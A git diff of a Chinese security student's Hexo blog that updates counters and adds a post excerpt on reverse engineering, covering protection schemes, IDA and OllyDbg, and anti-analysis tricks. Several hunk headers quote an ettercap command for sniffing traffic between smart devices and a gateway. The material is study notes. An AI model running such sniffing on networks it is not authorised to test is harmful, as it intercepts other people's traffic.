+        <time class="post-time" itemprop="dateCreated" datetime="2018-12-25T12:26:05+08:00" content="2018-12-25">
+          12-25
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description"></p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">25</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="http://weibo.com/HanYanOpenFire" target="_blank" title="Weibo">
+                      
+                        <i class="fa fa-fw fa-weibo"></i>Weibo</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">14.9k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
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+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
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+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
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+                    hitCount = indexOfTitle.length + indexOfContent.length;
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+                // show search results
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+                if (isMatch) {
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+                  [indexOfTitle, indexOfContent].forEach(function (index) {
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+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
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+                  // merge hits into slices
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+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
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+                        searchTextCountInSlice++;
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+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
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+                      // move to next position of hit
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+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
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+                          break;
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+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
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+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
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+                    if(end > content.length){
+                      end = content.length;
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+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
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+                  // sort slices in content by search text's count and hits' count
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+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
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+                    } else {
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+                    var prevEnd = slice.start;
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+                      var end = hit.position + hit.length;
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+                    });
+                    result += text.substring(prevEnd, slice.end);
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+                  var resultItem = '';
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+                  if (slicesOfTitle.length != 0) {
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+                  slicesOfContent.forEach(function (slice) {
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+                  resultItem += "</li>";
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+                    id: resultItems.length
+                  });
+                }
+              })
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+            } else if (resultItems.length === 0) {
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+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
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+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
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+          proceedsearch();
+        }
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+    }
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+    // handle and trigger popup window;
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+      };
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+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
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diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html
index 85bb531c..3304481a 100644
--- a/categories/加密解密/index.html
+++ b/categories/加密解密/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -477,7 +477,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/杂七杂八/index.html b/categories/杂七杂八/index.html
index 421c7171..f70d0c4f 100644
--- a/categories/杂七杂八/index.html
+++ b/categories/杂七杂八/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -477,7 +477,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html
index e6612a2c..56f459b9 100644
--- a/categories/理论学习/index.html
+++ b/categories/理论学习/index.html
@@ -378,7 +378,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +400,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -477,7 +477,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html
index 768977a2..b9994f63 100644
--- a/categories/顶会论文/index.html
+++ b/categories/顶会论文/index.html
@@ -404,7 +404,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -415,7 +415,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -426,7 +426,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -503,7 +503,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/css/main.css b/css/main.css
index de0d8e69..5ca1f65d 100644
--- a/css/main.css
+++ b/css/main.css
@@ -1943,7 +1943,7 @@ pre .javascript .function {
   width: 4px;
   height: 4px;
   border-radius: 50%;
-  background: #34b5af;
+  background: #422dff;
 }
 .links-of-blogroll {
   font-size: 13px;
diff --git a/index.html b/index.html
index 001e7382..901524b7 100644
--- a/index.html
+++ b/index.html
@@ -296,6 +296,226 @@
   
   
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/03/28/逆向工程实验/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">逆向工程实验</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-28T15:25:04+08:00">
+                2019-03-28
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/二进制/" itemprop="url" rel="index">
+                    <span itemprop="name">-二进制</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2019/03/28/逆向工程实验/" class="leancloud_visitors" data-flag-title="逆向工程实验">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  194 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  1 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        
+          
+          软件保护方式
+功能限制
+时间限制
+
+
+运行时长限制
+使用日期限制
+使用次数限制
+
+
+警告窗口
+
+
+分析工具
+静态分析工具
+
+
+IDA
+W32Dasm
+lordPE
+Resource Hacker
+
+
+动态分析工具
+
+
+OllyDbg
+WinDbg
+
+对抗分析技术
+反静态分析技术
+
+
+花指令
+自修改代
+          ...
+          <!--noindex-->
+          <div class="post-button text-center">
+            <a class="btn" href="/2019/03/28/逆向工程实验/#more" rel="contents">
+              阅读全文 &raquo;
+            </a>
+          </div>
+          <!--/noindex-->
+        
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+
+    
+
+    <footer class="post-footer">
+      
+
+      
+
+      
+
+      
+      
+        <div class="post-eof"></div>
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+    
+      
+
+  
+
+  
+  
+  
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
   
   
@@ -1294,8 +1514,8 @@
               
               
                 <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
-                  <a href="/categories/二进制漏洞/" itemprop="url" rel="index">
-                    <span itemprop="name">二进制漏洞</span>
+                  <a href="/categories/二进制/" itemprop="url" rel="index">
+                    <span itemprop="name">二进制</span>
                   </a>
                 </span>
 
@@ -1963,171 +2183,6 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
 
     
 
-    <footer class="post-footer">
-      
-
-      
-
-      
-
-      
-      
-        <div class="post-eof"></div>
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-    </footer>
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-  
-  
-  
-  </article>
-
-
-    
-      
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-  
-
-  
-  
-  
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-  
-  
-  
-  <div class="post-block">
-    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2000/01/01/hello-world/">
-
-    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
-      <meta itemprop="name" content="Cool-Y">
-      <meta itemprop="description" content>
-      <meta itemprop="image" content="/images/avatar.png">
-    </span>
-
-    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
-      <meta itemprop="name" content="混元霹雳手">
-    </span>
-
-    
-      <header class="post-header">
-
-        
-        
-          <h1 class="post-title" itemprop="name headline">
-                
-                <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">Hello World</a></h1>
-        
-
-        <div class="post-meta">
-          <span class="post-time">
-            
-              <span class="post-meta-item-icon">
-                <i class="fa fa-calendar-o"></i>
-              </span>
-              
-                <span class="post-meta-item-text">发表于</span>
-              
-              <time title="创建于" itemprop="dateCreated datePublished" datetime="2000-01-01T00:00:00+08:00">
-                2000-01-01
-              </time>
-            
-
-            
-
-            
-          </span>
-
-          
-
-          
-            
-          
-
-          
-          
-             <span id="/2000/01/01/hello-world/" class="leancloud_visitors" data-flag-title="Hello World">
-               <span class="post-meta-divider">|</span>
-               <span class="post-meta-item-icon">
-                 <i class="fa fa-eye"></i>
-               </span>
-               
-                 <span class="post-meta-item-text">阅读次数&#58;</span>
-               
-                 <span class="leancloud-visitors-count"></span>
-             </span>
-          
-
-          
-
-          
-            <div class="post-wordcount">
-              
-                
-                <span class="post-meta-item-icon">
-                  <i class="fa fa-file-word-o"></i>
-                </span>
-                
-                <span title="字数统计">
-                  9 字
-                </span>
-              
-
-              
-                <span class="post-meta-divider">|</span>
-              
-
-              
-                <span class="post-meta-item-icon">
-                  <i class="fa fa-clock-o"></i>
-                </span>
-                
-                <span title="阅读时长">
-                  1 分钟
-                </span>
-              
-            </div>
-          
-
-          
-
-        </div>
-      </header>
-    
-
-    
-    
-    
-    <div class="post-body" itemprop="articleBody">
-
-      
-      
-
-      
-        
-          
-          你好！我是混元霹雳手
-
-          
-          <!--noindex-->
-          <div class="post-button text-center">
-            <a class="btn" href="/2000/01/01/hello-world/#more" rel="contents">
-              阅读全文 &raquo;
-            </a>
-          </div>
-          <!--/noindex-->
-        
-      
-    </div>
-    
-    
-    
-
-    
-
-    
-
-    
-
     <footer class="post-footer">
       
 
@@ -2151,6 +2206,10 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
   </section>
 
   
+  <nav class="pagination">
+    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><a class="extend next" rel="next" href="/page/2/"><i class="fa fa-angle-right"></i></a>
+  </nav>
+
 
 
           </div>
@@ -2196,7 +2255,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">10</span>
+                  <span class="site-state-item-count">11</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -2207,7 +2266,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">6</span>
+                  <span class="site-state-item-count">7</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -2218,7 +2277,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">24</span>
+                  <span class="site-state-item-count">25</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -2295,7 +2354,7 @@ ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">14.7k</span>
+    <span title="Site words total count">14.9k</span>
   
 </div>
 
diff --git a/page/2/index.html b/page/2/index.html
new file mode 100644
index 00000000..38c80d8e
--- /dev/null
+++ b/page/2/index.html
@@ -0,0 +1,1259 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/page/2/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/page/2/">
+
+
+
+
+
+  <title>混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left 
+  page-home">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+  <section id="posts" class="posts-expand">
+    
+      
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2000/01/01/hello-world/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">Hello World</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2000-01-01T00:00:00+08:00">
+                2000-01-01
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2000/01/01/hello-world/" class="leancloud_visitors" data-flag-title="Hello World">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  9 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  1 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        
+          
+          你好！我是混元霹雳手
+
+          
+          <!--noindex-->
+          <div class="post-button text-center">
+            <a class="btn" href="/2000/01/01/hello-world/#more" rel="contents">
+              阅读全文 &raquo;
+            </a>
+          </div>
+          <!--/noindex-->
+        
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+
+    
+
+    <footer class="post-footer">
+      
+
+      
+
+      
+
+      
+      
+        <div class="post-eof"></div>
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+    
+  </section>
+
+  
+  <nav class="pagination">
+    <a class="extend prev" rel="prev" href="/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/">1</a><span class="page-number current">2</span>
+  </nav>
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description"></p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">25</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="http://weibo.com/HanYanOpenFire" target="_blank" title="Weibo">
+                      
+                        <i class="fa fa-fw fa-weibo"></i>Weibo</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
